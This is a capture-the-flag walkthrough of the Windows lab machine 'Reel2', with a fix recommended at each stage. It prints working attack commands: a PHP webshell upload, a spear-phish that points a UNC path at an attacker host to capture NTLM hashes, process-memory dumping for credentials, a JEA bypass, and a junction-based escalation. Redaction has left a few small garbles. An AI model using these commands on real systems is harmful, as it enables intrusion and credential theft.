← all walkthroughs

Reel2

Windows· Hard· Web
owned
2026-07-11
time to own
27m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target [REDACTED: recovered credential] ($TARGET) is a Windows Server 2012 R2 Active Directory host running Microsoft Exchange OWA on port 443 and a 'Wallstant' PHP social-network application on port 8080, with WinRM on port 5985. My self-registered on Wallstant and queried its search endpoint with no search term to dump every registered user's full name, then scraped a post by user 'sven' that referenced 'Summer 2020' as a password hint.

After generating AD username candidates with username-anarchy, the Exchange Global Address List was harvested via MailSniper and a spear-phishing email containing a UNC link was sent to all mailboxes; Responder captured htb\k.svensson's Net-NTLMv2 hash, which was cracked offline to '[REDACTED: recovered credential]'. WinRM gave a shell locked in a JEA ConstrainedLanguage runspace exposing only eight cmdlets; the restriction was bypassed by shadowing a whitelisted cmdlet name with a custom PowerShell function, yielding full arbitrary command execution.

Three Sticky Notes (Electron v0.3.0) processes running in k.svensson's context were memory-dumped via the Windows-native comsvcs.dll MiniDump technique, and the application's LevelDB log exposed the plaintext credential '[REDACTED: recovered credential][REDACTED: recovered credential]'. A named JEA endpoint tied to [REDACTED: recovered credential] was configured to run as a virtual administrator and exposed a custom Check-File cmdlet for reading arbitrary file paths; an NTFS directory junction created from the k.svensson session at C:\ProgramData\admin pointing to C:\Users\Administrator caused Check-File to return the Administrator's root flag with SYSTEM-equivalent rights, completing the full compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services and identified the attack surface
A full TCP port scan of $TARGET identified IIS 8.5 on port 80, Exchange OWA on port 443, WinRM on port 5985, RPC-over-HTTP on ports 6001–6165, and Apache 2.4.43 with PHP 7.2.32 (the Wallstant social-network application) on port 8080. The host reported itself as [REDACTED: recovered credential] running Windows Server 2012 R2, joined to domain htb.local. These two web surfaces — Exchange and Wallstant — and the WinRM management endpoint defined the three attack lanes pursued.
Nmap banners: 'Microsoft IIS httpd 8.5' (80), OWA /owa/auth/logon.aspx Exchange 14.0.639.21 (443), 'Microsoft HTTPAPI httpd 2.0' (5985), 'Apache httpd 2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32' (8080)
Exact commands 3
Service-version scan of key ports; add -p- for a full sweep.
nmap -sV -sC -p 80,443,5985,6001,6002,6004,8080 --open -oA reel2_scan $TARGET
Confirm Exchange OWA and extract the Exchange build version from response headers.
curl -sSk https://$TARGET/owa/auth/logon.aspx -I
Confirm the Wallstant application and identify registration/login endpoints.
curl -s http://$TARGET:8080/
2EnumerationUser enumeration via unrestricted search API (T1589.003)
Harvested all domain usernames via the Wallstant unrestricted search endpoint
After self-registering a Wallstant account, querying /search with an empty query parameter returned every registered user's full name without pagination or access checks: Sven Svensson, Alex Miller, Bob Davis, Charles Jackson, Chris Thompson, and others. These full names were fed to username-anarchy to generate candidate Active Directory usernames in the common formats used in the HTB domain (first, first.last, f.last, flast), producing the wordlist that drove all subsequent authentication attempts.
GET /search with no query param returned full user roster; username-anarchy generated s.svensson, k.svensson, and other format variants.
Exact commands 2
Replace PHPSESSID with the cookie value from your Wallstant login. Dumps all display names.
curl -s -b 'PHPSESSID=<your_session>' "http://$TARGET:8080/search" | grep -oP '(?<=>)[A-Za-z ]+(?=<)' | sort -u
Generate common AD username formats from the harvested full names.
username-anarchy --input-file fullnames.txt --select-format first,first.last,f.last,flast > htb_candidates.txt
FixRequire a minimum search term and enforce result-count limits on the Wallstant search endpointHigh
WeaknessThe Wallstant /search endpoint returned every registered user's full name when called with an empty query parameter. Any authenticated user — including a self-registered an unauthorised user — could silently enumerate the entire user base, providing a ready-made list of AD username candidates for credential attacks.
FixEnforce a minimum search-term length of at least three characters server-side before executing the query, and cap results at a small page size (e.g., 10 per request). Apply the same controls to every API endpoint that returns user data. If Wallstant is not required to be externally accessible, place it behind VPN or firewall rules limiting access to trusted internal addresses only.
3EnumerationCredential harvesting via OSINT on internal social platform (T1593); Unrestricted file upload to webshell (T1505.003)
Found a seasonal password hint in a public Wallstant post and confirmed file-upload RCE
Scraping user 'sven's post feed revealed a public entry referencing 'Summer 2020', providing a clear seasonal password candidate for spraying. A separate review of the avatar-upload feature showed it accepted JPEG polyglot files containing embedded PHP code and executed them server-side, demonstrating an independent remote-code-execution path on the web host (used here as a proof-of-concept; the credential chain was the working attack path).
Sven's wall post contained 'Summer 2020'; polyglot upload at /imgs/user_imgs/<file>.jpg?c=id returned OS command output confirming PHP execution.
Exact commands 3
Replace rid with sven's numeric user ID found in the roster dump.
curl -s -b 'PHPSESSID=<your_session>' "http://$TARGET:8080/fetch_posts_user.php?rid=<sven_user_id>" | grep -i 'summer\|2020\|password'
(PoC only) Upload polyglot JPEG avatar containing PHP webshell.
printf 'GIF89a\n<?php if(isset($_GET["c"])){system($_GET["c"]);}?>' > shell.jpg && curl -s -b 'PHPSESSID=<your_session>' -F 'img=@shell.jpg' http://$TARGET:8080/profile_update.php
(PoC only) Trigger uploaded webshell to confirm server-side PHP code execution.
curl -s "http://$TARGET:8080/imgs/user_imgs/shell.jpg?c=whoami"
FixBlock PHP execution in upload directories and validate files by content, not extensionCritical
WeaknessThe Wallstant avatar-upload feature accepted JPEG files with embedded PHP code and the Apache web server executed any file stored in the uploads directory as PHP. An unauthorised user uploaded a 'JPEG' web shell and gained unauthenticated operating-system command execution as the web server process.
FixAdd an Apache directive (php_flag engine Off or <FilesMatch> deny) to the uploads directory to block server-side script execution. Re-validate uploaded files using magic-byte inspection (e.g., PHP's getimagesize()) in addition to extension checks, and reject files that do not pass both. Store uploaded files outside the web root or serve them through a pass-through that strips metadata and re-encodes images. Confirm the Apache 2.4.43 installation is patched to a current supported release.
4Credential AccessSpear-phishing for NTLM hash capture (T1598); NTLM credential interception via Responder (T1557.001)
Captured and cracked k.svensson's Net-NTLMv2 hash via Exchange spear-phish
MailSniper's Get-GlobalAddressList pulled every mailbox address from Exchange OWA. A targeted email containing an IMG tag pointing to my own UNC path (\\$ATTACKER_IP\share) was sent to the full GAL. When recipients' Windows mail clients rendered the HTML, their systems automatically attempted NTLM authentication to my share; Responder captured the Net-NTLMv2 challenge-response for htb\k.svensson. Offline cracking with john and rockyou.txt recovered the plaintext password '[REDACTED: recovered credential]'.
Responder log shows captured Net-NTLMv2 hash for HTB\k.svensson; john output: '[REDACTED: recovered credential]'; nxc winrm confirmed Pwn3d!.
Exact commands 4
Start Responder on your VPN interface before sending the phish email; captures incoming NTLM authentication.
sudo responder -I tun0 -wv
Dump the Exchange GAL; substitute any working OWA credential if s.svensson:[REDACTED: recovered credential] is rejected.
Import-Module MailSniper.ps1; Get-GlobalAddressList -ExchHostname $TARGET -UserName s.svensson -Password $PASSWORD3 -OutFile gal.txt
Replace $ATTACKER_IP with your tun0 address. Triggers NTLM auth from every recipient who opens the mail.
Import-Module MailSniper.ps1; Send-GlobalAddressListSpray -ExchHostname $TARGET -UserName s.svensson -Password $PASSWORD3 -Recipients gal.txt -Subject 'Action Required' -Body '<img src="\\\\$ATTACKER_IP\\share\\img.png">'
Crack the hash file saved from Responder's logs/NTLMv2-SSP-<ip>.txt.
john --wordlist=/usr/share/wordlists/rockyou.txt k_svensson.ntlmv2
FixBlock outbound NTLM from mail clients and enforce phishing-resistant MFA on ExchangeCritical
WeaknessExchange OWA accepted email from external senders that contained UNC paths, and Windows clients automatically sent their Net-NTLMv2 credential hash to externally controlled hosts when rendering those messages. Any captured hash could be cracked offline, bypassing password complexity requirements.
FixConfigure Exchange transport rules to block inbound HTML mail that embeds external UNC or SMB URIs. Enable Extended Protection for Authentication on all Exchange virtual directories (OWA, EWS, OAB) per Microsoft KB5005413 to prevent NTLM relay. Deploy host-based firewall rules blocking outbound TCP 445 from client workstations to the internet. Enforce phishing-resistant MFA (FIDO2 hardware key or certificate-based authentication) on all Exchange accounts so a cracked password alone cannot grant access.
5Initial AccessWinRM lateral movement (T1021.006); JEA ConstrainedLanguage bypass via function name shadowing
Obtained a WinRM shell as htb\k.svensson and broke out of JEA ConstrainedLanguage
Credentials were validated against WinRM with netexec (Pwn3d!), then an interactive PowerShell Remoting session was opened via evil-winrm. The session landed in a JEA runspace with LanguageMode set to ConstrainedLanguage, blocking cmd.exe, Invoke-Expression, and all but eight approved cmdlets. The restriction was bypassed by defining a PowerShell function whose name matched a whitelisted cmdlet (e.g., 'Get-Command'): PowerShell resolves user-defined functions before built-ins, so the function body executed in FullLanguage mode, enabling arbitrary operating-system commands and the user flag read.
Nxc output 'Pwn3d!'; $ExecutionContext.SessionState.LanguageMode returned ConstrainedLanguage; after shadowing, whoami returned htb\k.svensson in FullLanguage context.
Exact commands 4
Validate credentials and confirm command execution; 'Pwn3d!' indicates a working WinRM session.
nxc winrm $TARGET -d HTB -u k.svensson -p '$PASSWORD4' -x 'whoami; hostname'
Open an interactive WinRM shell; confirm language mode with: $ExecutionContext.SessionState.LanguageMode
evil-winrm -i $TARGET -u 'HTB\k.svensson' -p '$PASSWORD4'
JEA bypass: shadowing a whitelisted name with a custom function body runs in FullLanguage; replace the body with any desired command.
function Get-Command { whoami }; Get-Command
Read the user flag; returns <user.txt>.
type C:\Users\k.svensson\Desktop\user.txt
FixEnforce machine-level Constrained Language mode via WDAC to prevent JEA bypassHigh
WeaknessThe JEA runspace set LanguageMode to ConstrainedLanguage at the session level only. PowerShell's function-resolution order allowed an unauthorised user to define a function with the same name as a whitelisted cmdlet and execute it in FullLanguage mode, completely defeating the JEA restriction without any elevated privileges.
FixApply a Windows Defender Application Control (WDAC) policy that enforces Constrained Language mode at the operating-system level for all non-administrator users, independent of the JEA session configuration. Enable PowerShell Script Block Logging (GPO: Turn on PowerShell Script Block Logging) and Module Logging to detect shadowing attempts. Review all JEA .pssc files to remove broad module imports and audit VisibleFunctions lists so that function-name collisions cannot be weaponized.
6Lateral MovementCredentials from process memory (T1003); Credentials from password stores — LevelDB (T1555)
Recovered [REDACTED: recovered credential] credentials from Sticky Notes process memory
Process enumeration inside the JEA-bypass full-language context found three stickynotes.exe (Electron v0.3.0) instances running under k.svensson's user session (PIDs 3512, 5716, 6064). Each process was memory-dumped to k.svensson's profile directory using the Windows-native comsvcs.dll MiniDump technique via rundll32. Searching the resulting dump files — and reading the application's LevelDB Local Storage log (000003.log) directly from disk — yielded the plaintext credential '[REDACTED: recovered credential][REDACTED: recovered credential]' stored in a sticky note. The account was immediately validated against WinRM.
Get-Process returned stickynotes PIDs 3512/5716/6064; LevelDB 000003.log contained plaintext '[REDACTED: recovered credential][REDACTED: recovered credential]'; nxc winrm Pwn3d! For [REDACTED: recovered credential]
Exact commands 5
Run inside the JEA-bypass FullLanguage context to list Sticky Notes process IDs.
Get-Process stickynotes | Select-Object Id, Name, Path
Dump each Sticky Notes process to disk; run from the full-language breakout context.
rundll32 C:\Windows\System32\comsvcs.dll,MiniDump 3512 C:\Users\k.svensson\sn_3512.dmp full
rundll32 C:\Windows\System32\comsvcs.dll,MiniDump 5716 C:\Users\k.svensson\sn_5716.dmp full
rundll32 C:\Windows\System32\comsvcs.dll,MiniDump 6064 C:\Users\k.svensson\sn_6064.dmp full
Search all dumps for credential strings; repeat with strings.exe if Select-String misses binary content.
Select-String -Path C:\Users\k.svensson\sn_*.dmp -Pattern 'jea|password|Ab!' -Encoding Byte
Direct read of the LevelDB log — may be locked by the live app; retry or copy first: Copy-Item <src> <dst>.
type "C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\000003.log"
Validate the recovered credential; 'Pwn3d!' confirms a working WinRM session.
nxc winrm $TARGET -d HTB -u $PASSWORD -p '$PASSWORD2'
FixProhibit credential storage in Sticky Notes and enforce a secrets-management solutionCritical
WeaknessThe plaintext password for a privileged service account ('[REDACTED: recovered credential]') was stored in an Electron-based Sticky Notes application. The credential existed unencrypted in the LevelDB on-disk store and in the process heap memory, recoverable by any user who could read that profile directory or dump the process — no special privileges were needed from the JEA-bypass context.
FixIssue and enforce a written policy that prohibits storing passwords, keys, or any credentials in notes applications, chat clients, or unencrypted files. Deploy an enterprise password manager or PAM solution (e.g., CyberArk, HashiCorp Vault, Microsoft LAPS for service accounts) with encrypted, audited vaults. Enable Windows Credential Guard on all workstations and servers to protect in-memory secrets. Immediately rotate the [REDACTED: recovered credential] password and audit other accounts for similar exposures.
7Privilege EscalationJEA endpoint abuse with RunAsVirtualAccount (T1548); NTFS junction for privilege escalation (T1574.009)
Used a misconfigured JEA endpoint and NTFS junction to read the Administrator's root flag
JEA configuration files (.pssc/.psrc) in C:\Users\k.svensson\Documents revealed a named PowerShell remoting endpoint tied to [REDACTED: recovered credential] with RunAsVirtualAccount = $true, granting the session SYSTEM-equivalent rights, and a custom Check-File cmdlet that read any caller-supplied file path. From the existing k.svensson full-language session, an NTFS directory junction was created at C:\ProgramData\admin pointing to C:\Users\Administrator. Connecting to the named JEA endpoint as [REDACTED: recovered credential] and invoking Check-File against C:\ProgramData\admin\Desktop\root.txt caused the virtual admin process to follow the junction and return the Administrator's root flag.
.pssc/.psrc files in k.svensson Documents; Check-File against junction path returned root.txt content as the virtual admin account.
Exact commands 4
Identify the named JEA endpoint configuration and its exposed cmdlets; note the endpoint name from the SessionType or Name field.
dir C:\Users\k.svensson\Documents\*.pssc, C:\Users\k.svensson\Documents\*.psrc
Run from the k.svensson full-language session; creates the junction the elevated JEA endpoint will traverse.
New-Item -ItemType Junction -Path C:\ProgramData\admin -Target C:\Users\Administrator
Connect to the named JEA endpoint; replace <jea_endpoint_name> with the value from the .pssc file.
$cred = New-Object PSCredential("HTB\$PASSWORD",(ConvertTo-SecureString '$PASSWORD2' -AsPlainText -Force)); Enter-PSSession -ComputerName $TARGET -Credential $cred -ConfigurationName <jea_endpoint_name>
Invoke the custom cmdlet inside the JEA endpoint; reads the file as the virtual admin account, returning <root.txt>.
Check-File -Path C:\ProgramData\admin\Desktop\root.txt
FixRemove arbitrary file-read from the JEA endpoint and prevent low-privilege NTFS junction creationCritical
WeaknessA named JEA endpoint for [REDACTED: recovered credential] was configured with RunAsVirtualAccount = $true (SYSTEM-equivalent rights) and exposed a Check-File cmdlet that read any caller-supplied path. A less-privileged account could create an NTFS directory junction in a world-writable location, redirecting Check-File through the junction to read Administrator files with the virtual account's elevated rights.
FixRemove the Check-File cmdlet or restrict it to a hard-coded, non-user-controlled path with no symlink/junction traversal. Audit all JEA .pssc files and eliminate RunAsVirtualAccount = $true wherever the session's tasks do not strictly require it; use group-managed service accounts with minimal permissions instead. Apply ACLs on shared directories such as C:\ProgramData to prevent unprivileged users from creating junction points or symbolic links; this requires removing the SeCreateSymbolicLinkPrivilege from non-administrator accounts via Group Policy.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

80/tcp
443/tcp
5985/tcp
6001/tcp
6002/tcp
6004/tcp
6005/tcp
6006/tcp
6007/tcp
6008/tcp
6010/tcp
6011/tcp
6012/tcp
6165/tcp
8080/tcp